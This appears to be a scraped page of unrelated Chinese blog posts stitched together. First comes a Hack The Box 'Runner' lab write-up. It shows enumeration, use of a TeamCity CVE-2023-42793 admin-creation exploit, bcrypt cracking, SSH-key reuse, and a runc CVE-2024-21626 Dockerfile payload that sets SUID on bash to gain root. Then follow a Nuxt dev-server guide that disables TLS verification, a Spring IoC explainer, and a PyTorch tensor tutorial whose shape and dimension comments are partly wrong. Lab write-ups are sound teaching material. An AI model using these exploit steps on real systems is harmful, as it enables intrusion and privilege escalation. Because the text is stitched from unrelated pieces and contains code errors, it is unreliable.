2024年9月

HTB-Runner靶机笔记

概述

Runner是HTB上一个中等难度的Linux靶机,它包含以下
teamcity
漏洞(CVE-2023-42793)该漏洞允许用户绕过身份验证并提取API令牌。以及docker容器逃逸CVE-2024-21626,进行提权操作

Runner靶机地址:
https://app.hackthebox.com/machines/Runner

一、nmap 扫描

1)端口扫描
nmap -sT --min-rate 10000 -p- -o ports 10.10.11.13
Warning: 10.10.11.13 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.13
Host is up (0.26s latency).
Not shown: 63375 closed tcp ports (conn-refused), 2157 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt

# Nmap done at Fri Aug 30 22:29:18 2024 -- 1 IP address (1 host up) scanned in 47.39 seconds
2)详细信息扫描
nmap -sT -sV -sC -O -p22,80,8000 -o detail 10.10.11.13
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-01 20:51 EDT
Nmap scan report for 10.10.11.13
Host is up (0.11s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp   open  http        nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
8000/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.74 seconds

看到
http-title: Did not follow redirect to http://runner.htb

我们去/etc/hosts 文件中绑定域名

sudo vi /etc/hosts


10.10.11.13 runner.htb
写进去

3) 默认脚本扫描

sudo nmap --script=vuln -p22,80,8000 10.10.11.13 -o vuln 

二、web渗透

image-20240902090140120

打开主页测试与收集了一圈信息,也没有有用的,可能用到的就是主页线面的名字

image-20240902090316730

尝试了
robots.txt
,
index.php
等都是404页面

同时尝试目录爆破和子域名爆破

1)目录爆破

sudo gobuster dir -u http://runner.htb -w /usr/share/wordlists/dirb/big.txt  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://runner.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 178] [--> http://runner.htb/assets/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================

2)子域名爆破

ffuf -u http://runner.htb -H "HOST:FUZZ.runner.htb" -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 154
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://runner.htb
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.runner.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

[Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 121ms]
    * FUZZ: teamcity

image-20240902090920755

左边目录,右边子域名

3)信息分析

目录爆破点开,没有有用的信息,我们扫到了一个子域名
teamcity.runner.htb
写入
/etc/hosts
文件中

echo "10.10.11.13  teamcity.runner.htb" | tee -a /etc/hosts

访问

image-20240902091633507

测试了sql注入,重置密码等,都不可以,google搜索漏洞

CVE-2023-42793 :
https://www.exploit-db.com/exploits/51884

他允许我们未授权,去创建一个管理员用户,起始读一下这个exp,他内部的原理也不难理解。就是未授权访问,导致管理员的token泄漏,利用这个token创建了一个新的管理员账户

把他的代码粘贴到kali里,空命令查看帮助

 python exp.py                               

=====================================================
*       CVE-2023-42793                              *
*  TeamCity Admin Account Creation                  *   
*                                                   *
*  Author: ByteHunter                               *
=====================================================

usage: exp.py [-h] -u URL [-v]
exp.py: error: the following arguments are required: -u/--url
python exp.py -u http://teamcity.runner.htb                              

=====================================================
*       CVE-2023-42793                              *
*  TeamCity Admin Account Creation                  *   
*                                                   *
*  Author: ByteHunter                               *
=====================================================

Token: eyJ0eXAiOiAiVENWMiJ9.Z2Q5NHVFQjFpdnJqLVpvRjVueVNkWTF4WkN3.YTM5MjkwZTktNTU1MS00MzA5LThkYTUtODc2MTQ5M2MwODUx
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminbsnn
Password: Main_password!!**

他给我们创建了一个管理员用户
city_adminbsnn:Main_password!!**

登陆进去

image-20240902093454029

进入后台,下载备份文件

image-20240902093613586

下载到本地进行解压

image-20240902094058407

在目录里翻一下,配置文件和数据库文件一般有会有信息,先更改权限

sudo chmod -R 777 *

翻找中发现
users
的hash值

image-20240902094845130

把凭证信息,用
awk
,
sed
,
tee
等工具处理,当然复制到新文件红也可以

John:$2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye
Matthew:$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em
nspjipzg:$2a$07$NhQTyKKikNjDy4HgKBjiiuc2ftK1XelfKkNiHy.4/HjDG1qmr9w36
city_adminbwgn:$2a$07$lQsvDl0GcSMeUl95ZZWBReYJYqymfIhZf20W3gQpoRw0TFtBy875u

image-20240902095110411

用hashid识别加密方式

cat creds | awk -F: '{print $2}'|head -n 1 | hashid
Analyzing '$2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye'
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt 


bcrypt

查找在hashcat中的模块号

hashcat --help| grep bcrypt
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
  25800 | bcrypt(sha1($pass)) / bcryptsha1                           | Forums, CMS, E-Commerce
  28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce

暴力破解密码

hashcat creds /usr/share/wordlists/rockyou.txt  --username -m 3200   

执行完成,查看结果

hashcat creds /usr/share/wordlists/rockyou.txt  --username -m 3200 --show
Matthew:$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em:piper123
a) 账号信息

凭证:
Matthew:piper123

尝试了ssh,发现不是。只能放弃了。继续去从backup备份文件找找看,是否还有其他的信息

b) ssh信息

最终找到了ssh的key

./config/projects/AllProjects/pluginData/ssh_keys/id_rsa

我们复制出来

cp ./config/projects/AllProjects/pluginData/ssh_keys/id_rsa ../../id_rsa

查看是谁的

 cat john.id_rsa | grep -v '\-' | base64 -d | strings

看到明文信息中有
john@runner

image-20240902100848517

重命名

image-20240902100446657

三、获得立足点

chmod 600 id_rsa
ssh john@10.10.11.13 -i john.id_rsa -o EnableEscapeCommandline=yes

-o EnableEscapeCommandline=yes
是允许在ssh连接时,调回到物理机执行ssh隧道命令,方便搭建sockets隧道,或建立端口转发

image-20240902101756062

image-20240902102209291

四、提权

ss -lant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8111          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9443          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5005          0.0.0.0:*               LISTEN      -                   
tcp        0    248 10.10.11.13:22          10.10.14.11:33776       ESTABLISHED -                   
tcp        0      0 127.0.0.1:59056         127.0.0.1:8111          TIME_WAIT   -                   
tcp        0      0 127.0.0.1:41720         127.0.0.1:8111          TIME_WAIT   -                   
tcp        0      0 10.10.11.13:80          10.10.14.11:33912       ESTABLISHED -                   
tcp        0      0 172.17.0.1:54814        172.17.0.2:8111         TIME_WAIT   -                   
tcp        0      0 127.0.0.1:8111          127.0.0.1:59430         TIME_WAIT   -     
tcp        0      0 127.0.0.1:59216         127.0.0.1:8111          TIME_WAIT   -     
tcp        0      1 10.10.11.13:38340       8.8.8.8:53              SYN_SENT    -     
tcp        0      0 172.17.0.1:34338        172.17.0.2:8111         TIME_WAIT   -     
tcp        0      0 172.17.0.1:40448        172.17.0.2:8111         TIME_WAIT   -     
tcp        0      0 127.0.0.1:58786         127.0.0.1:8111          TIME_WAIT   -     
tcp        0      0 127.0.0.1:33934         127.0.0.1:8111          TIME_WAIT   -     
tcp        0      0 127.0.0.1:8111          127.0.0.1:55392         TIME_WAIT   -     
tcp        0      0 172.17.0.1:54802        172.17.0.2:8111         TIME_WAIT   -    
tcp        0      0 127.0.0.1:41716         127.0.0.1:8111          TIME_WAIT   -    
tcp        0      0 10.10.11.13:80          10.10.16.3:34523        TIME_WAIT   -    
tcp        0      0 127.0.0.1:8111          127.0.0.1:55406         TIME_WAIT   -     
tcp        0      0 172.17.0.1:54982        172.17.0.2:8111         TIME_WAIT   -     
tcp        0      0 127.0.0.1:59044         127.0.0.1:8111          TIME_WAIT   -    
tcp        0      0 127.0.0.1:8111          127.0.0.1:59436         TIME_WAIT   -  
tcp6       0      0 :::80                   :::*                    LISTEN      -     
tcp6       0      0 :::22                   :::*                    LISTEN      -     
tcp6       0      0 :::8000                 :::*                    LISTEN      -     

看到开放了一堆本地端口,搭建ssh的sockets隧道,访问一下

在ssh会话里按
~C
进入ssh会话

image-20240902103756196

按两下回车,退出 并不会终止我们的sockets代理

在kali的本地浏览器里配置好sockets代理
127.0.0.1:1080
,就可以访问目标的资源了。我这里用的小狐狸,看大家个人喜欢吧。搭好就可以

发现9000是一个docker的管理页面.

image-20240902110347454

需要登录

在第二部获得的
凭证:
Matthew:piper123

既然不是ssh的凭证,在这里试一试

image-20240902111143253

成功登陆

既然有docker 看看runc的版本

runc --version

runc version 1.1.7-0ubuntu1~22.04.1
spec: 1.0.2-dev
 go: go1.18.1
libseccomp: 2.5.3

这个有一个容器逃逸漏洞

CVE-2024-21626:
https://www.wiz.io/blog/leaky-vessels-container-escape-vulnerabilities#cve-2024-21626-5

https://packetstormsecurity.com/files/176993/runc-1.1.11-File-Descriptor-Leak-Privilege-Escalation.html

简单理解:

就是
runc
在处理文件描述符时的不当管理。文件描述符泄漏使得新创建的容器进程可以意外地继承主机文件系统命名空间中的工作目录。这种泄漏允许容器进程访问主机文件系统,导致容器逃逸。

通过对这个漏洞的学习和理解,结合我们靶机的现状,我们在这台靶机中并不能创建和操作一个docker的image,但是我们可以在
portainer
面板中创建容器和镜像

我们在靶机中用john创建文件夹

mkdir -p /tmp/lingx5
cp /bin/bash /tmp/lingx5/bash

在创建镜像处填入

FROM ubuntu:latest
  WORKDIR /proc/self/fd/8
	RUN cd ../../../../../../../../ && \
    chmod -R 777 /tmp/lingx5 && \
    chown -R root:root /tmp/lingx5 && \
    chmod u+s /tmp/lingx5/bash

image-20240902152140077

在下方点击builimage

我们就把
/tmp/lingx5/bash
文件赋予了SUID的权限

image-20240902152022186

看到编译成功了,应该已经给我们的
/tmp/lingx5/bash
赋予了SUID权限

执行

/tmp/lingx5/bash -p

提权到root

cat /root/root.txt

image-20240902151944661

总结

  1. 我们用nmap对主机进行端口发现,发现22,80,8000端口开放。
  2. 在对80渗透过程中,发现主页的目录爆破信息很少,想到子域名爆破,爆破出
    teamcity
    子域名通过google搜索公开漏洞找到CVE-2023-42793,创建了一个管理员用户。我们登陆了进去,发现有备份功能,我们把备份文件下载到本地,在翻找过程中我们发现了
    凭证:Matthew:piper123
    以及一个john的ssh密钥
  3. 利用密钥获得了john的立足点,查看本机运行的服务,大部分都是只允许本机访问的端口,我们利用ssh搭建了一条sockets隧道,访问页面找到9000端口的docker服务。
  4. 利用
    凭证:Matthew:piper123
    登陆到了后台,通过对runc版本的判断,发现存在逃逸漏洞,利用CVE-2024-21626的原理,和一些复现的重要操作进行提权。


title: 使用 nuxi dev 启动 Nuxt 应用程序的详细指南
date: 2024/9/2
updated: 2024/9/2
author:
cmdragon

excerpt:
摘要:本文介绍了使用 nuxi dev 命令启动 Nuxt 应用程序的方法,包括安装 Nuxt.js、启动开发服务器及配置选项等详细步骤。

categories:

  • 前端开发

tags:

  • Nuxt.js
  • nuxi dev
  • 开发服务器
  • Vue.js
  • 前端开发
  • 本地环境
  • 应用启动


image
image

扫描
二维码
关注或者微信搜一搜:
编程智域 前端至全栈交流与成长

Nuxt.js 是一个流行的 Vue.js 框架,让我们能够快速开发现代化的 Web 应用。nuxi dev 命令是 Nuxt 的开发服务器,用于在本地环境中启动应用,使我们能够快速迭代和调试代码。

安装 Nuxt.js

首先,你需要确保已经在你的机器上安装了 Node.js。你可以在终端中运行以下命令来检查 Node.js 是否已安装:

node -v

如果你还没有安装 Node.js,建议去
Node.js 官方网站
下载并安装。

接下来,使用 npm 或 yarn 安装 Nuxt.js。我们可以使用以下命令创建一个新的 Nuxt 应用:

npx nuxi@latest init my-nuxt-app

在这个过程中,系统会提示你选择一些选项,比如选择 CSS 框架、Linting 工具等。根据你的需求选择即可。

启动开发服务器

安装完 Nuxt 应用后,进入到你的项目目录:

cd my-nuxt-app

现在,你可以使用
nuxi dev
命令来启动开发服务器。基础命令如下:

npx nuxi dev

这将启动一个开发服务器,默认监听在
http://localhost:3000

命令选项

nuxi dev
命令有多个可选参数,以下是一些常用选项:

  • rootDir
    :要提供的应用程序的根目录。默认值为当前目录
    .
  • --dotenv
    :指向要加载的另一个
    .env
    文件。
  • --open, -o
    :启动后自动在浏览器中打开 URL。
  • --port, -p
    :指定监听的端口,默认 3000。
  • --host, -h
    :指定服务器的主机名,默认 localhost。
  • --https
    :使用 https 协议监听。

示例:启动开发服务器

假设我们想要将开发服务器设置为在 4000 端口上运行,并在启动后自动打开浏览器。我们可以这样运行命令:

npx nuxi dev -p 4000 -o

自签名 HTTPS 证书

如果你想用 HTTPS 启动开发服务器,可以使用
--https
选项。但请注意,浏览器会对此进行警告,因为这是自签名证书。为了在开发中使用自签名证书,你需要设置环境变量:

export NODE_TLS_REJECT_UNAUTHORIZED=0

然后可以运行以下命令来启动:

npx nuxi dev --https

访问你的应用

无论使用什么配置,启动服务器后你都可以在浏览器中访问
http://localhost:3000
或指定的端口(如
http://localhost:4000
)。你应该能看到 Nuxt 应用的欢迎页面。

结论

通过上述步骤,你可以轻松启动和配置一个 Nuxt.js 的开发服务器。nuxi dev 命令提供了灵活的选项来满足不同的开发需求。实验并熟悉这些选项后,你将能更有效地开发和调试你的应用。

余下文章内容请点击跳转至 个人博客页面 或者 扫码关注或者微信搜一搜:
编程智域 前端至全栈交流与成长
,阅读完整的文章:
使用 nuxi dev 启动 Nuxt 应用程序的详细指南 | cmdragon's Blog

往期文章归档:

Spring之IOC

简介

首先,官网中有这样一句话:Spring Framework implementation of the Inversion of Control (IoC) principle.这句话翻译过来就是:Spring实现控制反转(IOC)原理,由此可以得出,Inversion of Control(IOC)是一个名为控制反转的原理,而Spring实现了他。而实现这个原理或者说设计原则的最常见的方式也是Spring框架使用的方式叫做依赖注入,也就是Dependency Injection(DI)。因此我们要讲IOC实际上就是要讲Spring是怎样实现IOC和DI的,具体用什么、怎样去做的。

  • 控制反转:类的对象从创建到销毁的整个流程都交给IOC容器去管理
  • 依赖注入:我们通过几种注入的方式将特定的bean注入到IOC容器中。

Bean

Bean是Spring实现IOC的一个重要的概念,官网是这样说的:

In Spring, the objects that form the backbone of your application and that are managed by the Spring IoC container are called beans. A bean is an object that is instantiated, assembled, and otherwise managed by a Spring IoC container.

通过这句话我们能看出来,bean实际上就是被Spring IOC容器实例化、组装、管理的对象。也就是说,创建并且管理对象的事儿不用我们去管了,这些都交由Spring框架的IOC容器去管理,这也就是控制反转的思想,而bean就是我们注入的对象。而bean什么时候去实例化将不会再写死在程序中,也就是我们不需要将对象实例化,只需要用的时候去拿就行了,这种方式不仅让我们不用再花心思管理对象,而且也能避免我们自己一些错误的实例化对象导致的内存问题。

Bean的生命周期

  • 单例:当容器创建时创建对象,伴随容器一直处于生存状态,当容器被销毁时对象才被销毁
  • 多例:当对象被使用时创建新的对象,伴随对象的使用一直处于生存状态,当对象在一定时间内不被使用时被GC回收掉

注入Bean的方式

  • 构造函数注入:默认为无参构造,若为无参构造方式注入则需要类中必须存在有效的无参构造函数,不然会报异常
  • Setter 方法注入:通过类中的Setter方法注入实例化对象
  • 字段注入:通过字段名称直接给字段注入值,也可以直接注入Bean,此两个Bean为引用关系

注入相关注解

  • @Autowired:按照类型自动装配对象,如果一个类型对应多个对象则可使用@Qualifier,@Qualifier的作用就是可以通过名称自动装配
  • @Resource:该注解先通过名称进行装配,若没有声明name则根据类的类型进行装配,顺序与@Autowired相反
  • @Bean:主要用在@Configuration注解的类里,也可以用在@Component注解的类里,我们通过查看@Bean的元注解可以看到,他只能作用在其他注解或者类的方法上,Bean默认的名称为方法名,也可自定义名称与别名
  • @Component:用于标记类为Spring管理的组件的一种方式,通过该注解可以将普通的java类变成IOC容器中的一个Bean。该注解是一个泛型注解,可以用于标记任何类型的组件,他有几个常用的、用于不同场景的子注解例如:@Repository,@Service,@Controller等

BeanFactory

BeanFactory是Spring IOC的本质,他的存在解决了bean的生产于管理,并且Spring还将bean的各个生命周期阶段的管理接口暴露给我们,我们只需要实现这些接口那么在bean的生命周期阶段中,spring就会调用我们的接口实现去对bean做出相应处理。

Spring通过BeanDefinitionReader通过扫描我们项目中使用了@Component或者@Configuration注解的类,获取到BeanDefintiions,将他们注册到BeanFactory中。BeanFactory通过conCurrentHashMap存储bean的信息,key即为bean的名称,Value就是BeanDefintiions,BeanDefintiions就是Bean的一些元数据,比如类名、是否抽象等定义。

实现BeanFactory的实现类有多种,具体细节与取舍可以参考源码或者官方文档查看

总结

到这里我们其实对Spring IOC已经有了一个自己的理解,其实就是我们把类通过不同的方式注入到容器中,我们代码中只需要拿到这个bean然后去用就可以了,至于对象的生命周期都交给了我们的IOC容器去管理。

感谢各位大佬的光临,Spring IOC的细节有很多,每一个点都可以拿出来单独写一篇博客了,因此此篇博客以较为精简的介绍为主,想要探究更深层次的细节可以通过结合官方文档的介绍与源码去理解,好了不说废话了,再次感谢各位大佬能看到这里,如果该文章由任何问题欢迎各位大佬指出,谢谢


张量(Tensor)是PyTorch最基本的操作对象。在几何定义中,张量是基于标量、向量和矩阵概念的眼神。通俗理解,可以讲标量视为0维张量,向量视为1维张量,矩阵视为2维张量。在深度学习领域,可以将张量视为一个数据的水桶,当水桶中只放一滴水时就是0维张量,多滴水排成一排就是1维张量,联排成面就是2维张量,以此类推,扩展到n维向量。

张量的数据类型

PyTorch中创建张量的方法有两种,一种是通过Python数组创建,另一种是从列表中创建。创建张量的代码如下:

import torch
# 从python数组构建
a = [[1, 2, 3],[4, 5, 6]]
x = torch.Tensor(a)
print(a, x)
# 从列表构建张量
x = torch.Tensor([[1, 2]])
print(x)

torch.rand()函数

torch.rand()函数的用法为torch.rand(
\*sizes,out=None
)->Tensor,返回一个张量,服从区间为[0,1)的均匀分布,形状有参数sizes定义,代码如下:

tensor1 = torch.rand(4)
tensor2 = torch.rand(2, 3)
print(tensor1, tensor2)

torch.randn()函数

torch.randn()函数的用法为torch.randn(
*size,out=None
)->Tensor,返回一个张量(高斯白噪声),服从均值为0,方差为1的标准正态分布,形状由参数sizes定义,代码如下:

tensor1 = torch.randn(5)
tensor2 = torch.randn(2, 4)
print(tensor1, tensor2)

torch.normal()函数

torch.normal()函数的第一种用法为torch.normal(means, std, out=None)。

如果没有size参数,返回一个张量,服从指定均值means和标准差std的正态分布,均值means是一个张量,包含每个输出元素相关的正态分布的均值。标准差std是一个张量,包含每个输出元素相关的正态分布的标准差。均值和标准差的形状无需匹配,但每个张量的元素须相同。

tensor = torch.normal(mean=torch.arange(1., 11.), std= torch.arange(1, 0, -0.1))
print(tensor)

torch.arange(1, 0, -0.1)

tensor = torch.normal(mean=0.5, std=torch.arange(1., 6.))
print(tensor)

tensor = torch.normal(mean=torch.arange(1., 6.), std=1.0)
print(tensor)

torch.normal()的第二种用法为torch.normal(mean, std, size*, out=None),共享均值和方程

tensor = torch.normal(2, 3, size=(1, 4))
print(tensor)

该代码中产生的所有的数服从均值为2,方差为3的正态分布,形状为(1,4)

torch.linspace()函数

torch.linspace()函数的用法为torch.linspace(start,end,step=100,out=None)->Tensor,返回一个1维张量,包含在区间start和end上均匀间隔的steps个点。

tensor = torch.linspace(1, 10, steps=5)
print(tensor)

torch.manual_seed()函数

torch.manual_seed()函数用于固定随机种子,下面生成的随机数序列都是相同的,仅作用于最接近的随机数产生语句。

torch.manual_seed(1)
temp1 = torch.rand(5)
print(temp1) 
torch.manual_seed(1)
temp2 = torch.rand(5)
print(temp2)  
temp3 = torch.rand(5)
print(temp3)  

temp1和temp2是相同的,temp3是不同的,因为seed仅作用于最接近的那句随机数产生语句。torch中toech.seed()函数没有参数,用来将随机数的种子设置为随机数,一般不使用。

torch.ones()、torch.zeros()、torch.eye()

torch.ones()函数用来生成全1数组,torch.zeros()函数用来生成全0数组,torch.eye()函数用来生产对角线为1,其余部分全为0的二维数组。

tensor1 = torch.zeros(2, 3)
tensor2 = torch.ones(2, 3)
tensor3 = torch.eye(3)
print(tensor1, tensor2, tensor3)

在PyTorch中默认的数据类型为32位浮点型(torch.FloatTensor),如果想要规定张量的数据类型,可以在创建时指定类型,或者创建完之后对张量的数据类型进行转换。

# 第一种方法:在创建张量时指定数据类型
x = torch.ones((2, 3, 4), dtype=torch.int64)  # 生成全1数组
print(x)
# 第二种方法:张量创建完成后,对数据类型进行转换
x = torch.ones(2, 3, 4)  # 生成全1数组
x = x.type(torch.int64)
print(x)

张量的基本操作

PyTorch中,张量的操作分为结构操作和数学运算,结构操作就是改变张量本身的结构,数学操作就是对张量的元素值进行数学运算。常用的结构操作包括改变张量的形状、增加和删除维度、交换维度、拼接和分隔、堆叠和分解、索引和切片,数学运算包括基本数学运算、向量运算、矩阵运算。

torch.view()函数可以改Tensor的形状,但是必须保证前后元素总数一致。

x = torch.rand(3, 2)
print(x.shape)  # torch.Size([3, 2])
y = x.view(2, 3)
print(y.shape)  # torch.Size([6])

增加和删除维度

unsqueeze()函数可以对数据维度进行扩充,给指定位置加上维度为1的维度。用法:torch.unsqueeze(a,N),或者a.unsqueeze(N),在a中指定位置N加上一个维度为1的维度。

# 增加维度
a = torch.rand(3, 4)
b = torch.unsqueeze(a, 0)
c = a.unsqueeze(0)
print(b.shape) 
print(c.shape)  

squeeze()函数可以对张量进行维度的压缩,去掉维数为1的维度。用法:torch.squeeze(a)将a中所有维数为1的维度都删除,或者a.squeeze(1)是去掉a中指定维数为1的维度。

# 删除维度
a = torch.rand(1, 1, 3, 4)
b = torch.squeeze(a)
c = a.squeeze(1)
print(b.shape)  
print(c.shape)  

交换维度

在运用各种模型的过程中,经常会遇到交换维度的问题。PyTorch中有两种交换维度的方法。torch.transpose()函数用于交换两个维度,torch.permute()函数可以自由交换任意位置。

a = torch.rand(1, 3, 28, 32)  # torch.Size([1, 3, 28, 32]
# 第一种方法
b = a.transpose(1, 3).transpose(1, 2)  # torch.Size([1, 28, 32, 3])
print(b.shape)

# 第二种方法
c = a.permute(0, 2, 3, 1)
print(c.shape)  # torch.Size([1, 28, 32, 3])

拼接和分割

可以用torch.cat()函数将多个张量合并,torch.cat()函数是链接,不会增加维度;也可以用torch.split()函数把一个张量分割为多个张量。torch.split()函数可以看做torch.cat()函数的逆运算。split()函数的作用是将张量拆分为多个块,每个块都是原始张量的视图。

# torch.cat()拼接方法的代码如下:
a = torch.rand(1, 2)
b = torch.rand(1, 2)
c = torch.rand(1, 2)
output1 = torch.cat([a, b, c], dim=0)  # dim=0为按列拼接
print(output1.shape)  # torch.Size([3, 2])
output2 = torch.cat([a, b, c], dim=1)  # dim=1为按行拼接
print(output2.shape)  # torch.Size([1, 6])

# torch.split()分割方法的代码如下:
a = torch.rand(3, 4)
output1 = torch.split(a, 2)
print(output1)
output2 = torch.split(a, [2, 2], dim=1)
print(output2)

堆叠和分解

可以用torch.stack()函数将多个张量合并,torch.stack()函数和torch.cat()函数有略微的差别,torch.stack()函数用于进行堆叠操作,会增加一个维度。torch.chunk()函数可以看做torch.cat()函数的逆运算。torch.chunk()函数的作用是将Tensor按dim(行或列)分割成chunks个Tensor块,返回的是一个元组。

# torch.stack()堆叠方法
a = torch.rand(1, 2)
b = torch.rand(1, 2)
c = torch.rand(1, 2)
output1 = torch.stack([a, b, c], dim=0)  # dim=0为按列拼接
print(output1.shape)  
output2 = torch.stack([a, b, c], dim=1)  # dim=1为按行拼接
print(output2.shape)  

# torch.chunk()分解方法的代码如下:
a = torch.rand(3, 4)
output1 = torch.chunk(a, 2, dim=0)
print(output1)
output2 = torch.chunk(a, 2, dim=1)
print(output2)

索引和切片

Torch张量的索引以及切片规则与Numpy基本一致,比较简单。

x = torch.rand(2, 3, 4)
print(x[1].shape)  
y = x[1, 0:2, :]
print(y.shape)  
z = x[:, 0, ::2]
print(z.shape) 

基本数学运算

张量基本的数学运算包括张量求和、张量元素乘积、对张量求均值、方差和极值。

元素求和

按元素求和的第一种方法为torch.sum(input)->float,返回输入向量input中所有的元素的和。

# 元素求和第一种方法
a = torch.rand(4, 3)
b = torch.sum(a)
print(b)  # tensor(6.4069)

按元素求和的第二种方法为torch.sum(input,dim,keepdim=False,out=None)->Tensor,其中input为输入张量,dim为指定维度,keep(bool)表示输出张量是否保持与输入张量有相同数量的维度,ruokeepdim值为True,则在输出张量中,出了被操作的dim维度值降为1,其他维度与输入张量input相同。否则,dim维度相当于被执行torch.squeeze()维度压缩,导致此维度消失,最终输出张量会比输入张量少一个维度。

# 元素求和第二种方法
a = torch.rand(4, 3)
b = torch.sum(a, dim=1, keepdim=False)
print(b, b.shape)

按索引求和

按索引求和是指按索引参数index中所确定的顺序,将参数张量Tensor中的元素与执行本方法的张量的元素逐个相加。参数Tensor的尺寸必须严格执行方法的张量匹配,否则会发生错误。按索引求和的方法为torch.Tensor.index_add_(dim,index,tensor)->Tensor,dim为索引index所指向的维度,index为包含索引数的张量,Tensor为含有相加元素的张量。

# 按索引求和,不常用
x = torch.Tensor([[1, 2],[3, 4]])
y = torch.Tensor([[3, 4],[5, 6]])
index = torch.LongTensor([0, 1])
output = x.index_add_(0, index, y)
print(output)

元素乘积

元素乘积的第一种方法为torch.prod(input)->float,返回输入张量input所有元素的乘积。

# 元素乘积第一种方法
a = torch.rand(4, 3)
b = torch.prod(a)
print(b) 

元素乘积的第二种方法为torch.prod(input,dim,keepdim=False,out=None)->Tensor,其中input为输入张量,dim为指定维度,keepdim(bool)表示输出张量是否保持与输入张量有相同数量的维度,若keepdim值为True,则在输出张量中,除了被操作的dim维度值降为1,其他维度与输入张量input相同。否则,dim维度相当于被执行torch.squeeze()函数进行维度压缩操作,导致此维度消失,最终输出张量回避输入张量少一个维度。

# 元素乘积第二种方法
a = torch.rand(4, 3)
b = torch.prod(a, 1, True)
print(b, b.shape)

求平均数

求平均数的第一种方法为torch.mean(input),返回输入张量input中每个元素的平均值。

# 求平均数的第一种方法
a = torch.rand(4, 3)
b = torch.mean(a)
print(b) 

求平均数的第二种方法为torch.mean(input,dim,keepdim=False,out=None),其中参数的含义与元素求和、元素乘积的含义相同。

# 求平均数的第二种方法
a = torch.rand(4, 3)
b = torch.mean(a, 1, True)
print(b, b.shape)

求方差

求方差的第一种方法为torch.var(input,unbiased=True)->float,返回输入向量input中所有元素的方差,unbiased(bool)表示是否使用基于修正贝塞尔函数的无偏估计。

# 求方差的第一种方法
a = torch.rand(4, 3)
b = torch.var(a)
print(b)

求方差的第二种方法为torch.var(input,dim,keepdim=False,unbiased=True,out=None)->Tensor,unbiased(bool)表示是否使用基于修正贝塞尔函数的无偏估计,其余参数含义与元素求和、元素乘积含义相同。

# 求方差的第二种方法
a = torch.rand(4, 3)
b = torch.var(a, 1, True)
print(b, b.shape)

求最大值

求最大值的第一种方法为torch.max(input)->float,返回输入张量所有元素的最大值。

# 求最大值的第一种方法
a = torch.rand(4, 3)
b = torch.max(a)
print(b)

求最大值的第二种方法为torch(input,dim,keepdim=False,out=None)->(Tensor,LongTensor),返回新的张量input中指定维度dim中每行的最大值,同时返回每个最大值的位置索引。

